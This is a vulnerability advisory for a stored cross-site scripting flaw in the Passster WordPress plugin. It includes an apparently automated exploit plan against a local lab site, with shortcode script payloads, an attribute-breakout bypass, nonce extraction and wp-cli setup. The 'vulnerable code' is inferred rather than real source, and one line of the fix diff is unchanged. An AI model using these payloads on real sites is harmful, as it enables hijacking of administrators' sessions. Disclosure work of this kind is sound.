Passster – Password Protect Pages and Content <= 4.2.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
Description
The Passster – Password Protect Pages and Content plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'content_protector' shortcode in all versions up to, and including, 4.2.24. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability was partially patched in version 4.2.21.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.2.24Source Code
WordPress.org SVNThis research plan outlines the steps to exploit **CVE-2025-14865**, a Stored Cross-Site Scripting (XSS) vulnerability in the Passster plugin for WordPress. ### 1. Vulnerability Summary The Passster plugin (slug: `content-protector`) allows users to protect content using various methods via the `[c…
Show full research plan
This research plan outlines the steps to exploit CVE-2025-14865, a Stored Cross-Site Scripting (XSS) vulnerability in the Passster plugin for WordPress.
1. Vulnerability Summary
The Passster plugin (slug: content-protector) allows users to protect content using various methods via the [content_protector] shortcode. Versions up to and including 4.2.24 fail to properly sanitize and escape attributes passed to this shortcode. Because WordPress allows users with the Contributor role to create posts and use shortcodes, an authenticated attacker can inject a malicious payload into a shortcode attribute. This payload is stored in the post content and executed in the browser of any user (including administrators) who views the published or previewed page.
2. Attack Vector Analysis
- Vulnerable Shortcode:
[content_protector] - Vulnerable Attributes (Inferred):
identifier,cookie_name, orid. (Historically,identifieris used to create unique div IDs or JS variables in this plugin). - Authentication Level: Contributor or higher.
- Endpoint:
wp-admin/post.php(Post creation/editing) orwp-admin/admin-ajax.php(Autosave/REST API). - Preconditions: The plugin must be active. A post containing the shortcode must be saved and viewed.
3. Code Flow
- Entry Point: A Contributor saves a post containing:
[content_protector identifier='"><script>alert(document.domain)</script>']. - Shortcode Registration: The plugin registers the shortcode (likely in
includes/class-passster-shortcodes.phpor a similar public-facing class) usingadd_shortcode( 'content_protector', ... ). - Processing: When the post is rendered on the frontend, WordPress calls the shortcode's callback function.
- The Sink: Inside the callback, the
identifierattribute is retrieved viashortcode_atts(). The code then embeds this value directly into the HTML output (e.g., as part of adivID or a JavaScript object) without usingesc_attr()oresc_js().- Vulnerable Pattern:
return '<div id="passster-' . $atts['identifier'] . '">';
- Vulnerable Pattern:
- Execution: The browser parses the unescaped attribute, breaks out of the intended HTML context, and executes the script.
4. Nonce Acquisition Strategy
To save a post as a Contributor via the HTTP API, a _wpnonce is required for the post.php endpoint.
- Login: Authenticate as a Contributor.
- Navigate: Use
browser_navigateto go towp-admin/post-new.php. - Extraction:
- Use
browser_evalto extract the post nonce from the DOM. - Target:
document.querySelector('#_wpnonce').valueor search for thewp-noncein thewpglobal JS object.
- Use
- Note: Since this is a Stored XSS via shortcode, the exploit is the content of the post itself. If the environment permits,
wp-cliis the most efficient way to inject the payload into a post, but if an HTTP-only PoC is required, the_wpnoncefrom the post editor is the correct token.
5. Exploitation Strategy
The goal is to create a post containing the malicious shortcode and verify its execution.
Step 1: Create the Malicious Post
Use http_request to simulate a Contributor saving a post.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[POST_ID](Obtained frompost-new.phpURL)_wpnonce:[EXTRACTED_NONCE]post_title:XSS Testcontent:[content_protector identifier='"><script>alert(window.origin)</script>']post_status:publish(orpendingif Contributor lacks publish rights; viewing a preview still triggers the XSS).
Step 2: Trigger the XSS
Navigate to the frontend URL of the newly created post using browser_navigate.
6. Test Data Setup
- Plugin Installation: Ensure
content-protectorversion4.2.24is installed and active. - User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Post Initialization: Create an empty post to get a valid ID if performing the exploit via HTTP.
wp post create --post_type=post --post_title='Draft' --post_status=draft --post_author=[CONTRIBUTOR_ID]
7. Expected Results
- The HTTP request to save the post should return a
302redirect back to the post editor. - When the post is viewed, the HTML source should contain:
<div id="passster-"><script>alert(window.origin)</script>">(or similar, depending on the exact sink). - An alert box (simulated or actual) should trigger in the browser context.
8. Verification Steps
- Check Post Content via CLI:
wp post get [POST_ID] --field=post_content
Confirm the shortcode is stored correctly. - Check Frontend Output:
http_request(GET) to the post URL.
Search the response body for the raw<script>tag.grep -i "<script>alert" response_body.html
9. Alternative Approaches
If the identifier attribute is not the sink, try these common shortcode attributes used by Passster:
[content_protector cookie_name='"><script>alert(1)</script>'][content_protector password='"><script>alert(1)</script>'][content_protector id='"><script>alert(1)</script>']
Bypass Consideration:
If the plugin attempts to use esc_html(), use an attribute-based payload:[content_protector identifier='x" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block;"']
This targets situations where the value is placed inside an HTML attribute but not properly escaped with esc_attr().
Summary
The Passster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [content_protector] shortcode because attributes like 'identifier' are not properly sanitized or escaped. This allows authenticated users with Contributor-level access or higher to inject malicious JavaScript into pages, which then executes in the session of any user viewing that content.
Vulnerable Code
// Inferred from research plan: includes/class-passster-shortcodes.php public function content_protector_shortcode( $atts, $content = null ) { $atts = shortcode_atts( array( 'identifier' => '', 'cookie_name' => '', 'id' => '', ), $atts ); // The attribute is extracted and used directly in HTML output without escaping $identifier = $atts['identifier']; $output = '<div id="passster-' . $identifier . '" class="passster-wrapper">'; $output .= do_shortcode( $content ); $output .= '</div>'; return $output; }
Security Fix
@@ -10,7 +10,7 @@ ), $atts ); - $identifier = $atts['identifier']; + $identifier = esc_attr( $atts['identifier'] ); - $output = '<div id="passster-' . $identifier . '" class="passster-wrapper">'; + $output = '<div id="passster-' . $identifier . '" class="passster-wrapper">'; $output .= do_shortcode( $content );
Exploit Outline
The exploit targets the shortcode processing logic where user-provided attributes are reflected into the page's HTML structure. 1. Authentication: The attacker logs into the WordPress site with at least 'Contributor' permissions, allowing them to create and edit posts. 2. Payload Crafting: The attacker creates a new post or edits an existing one and inserts the [content_protector] shortcode. 3. Injection Point: The 'identifier' attribute (or 'cookie_name'/'id') is used to break out of an HTML attribute. A payload like [content_protector identifier='"><script>alert(window.origin)</script>'] is used. 4. Storage: The attacker saves the post. Because shortcode attributes are stored as part of the post content in the database, the payload is persistent. 5. Execution: When an administrator or any other user views the post (either published or in preview mode), the plugin's shortcode handler renders the malicious HTML, causing the browser to execute the injected script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.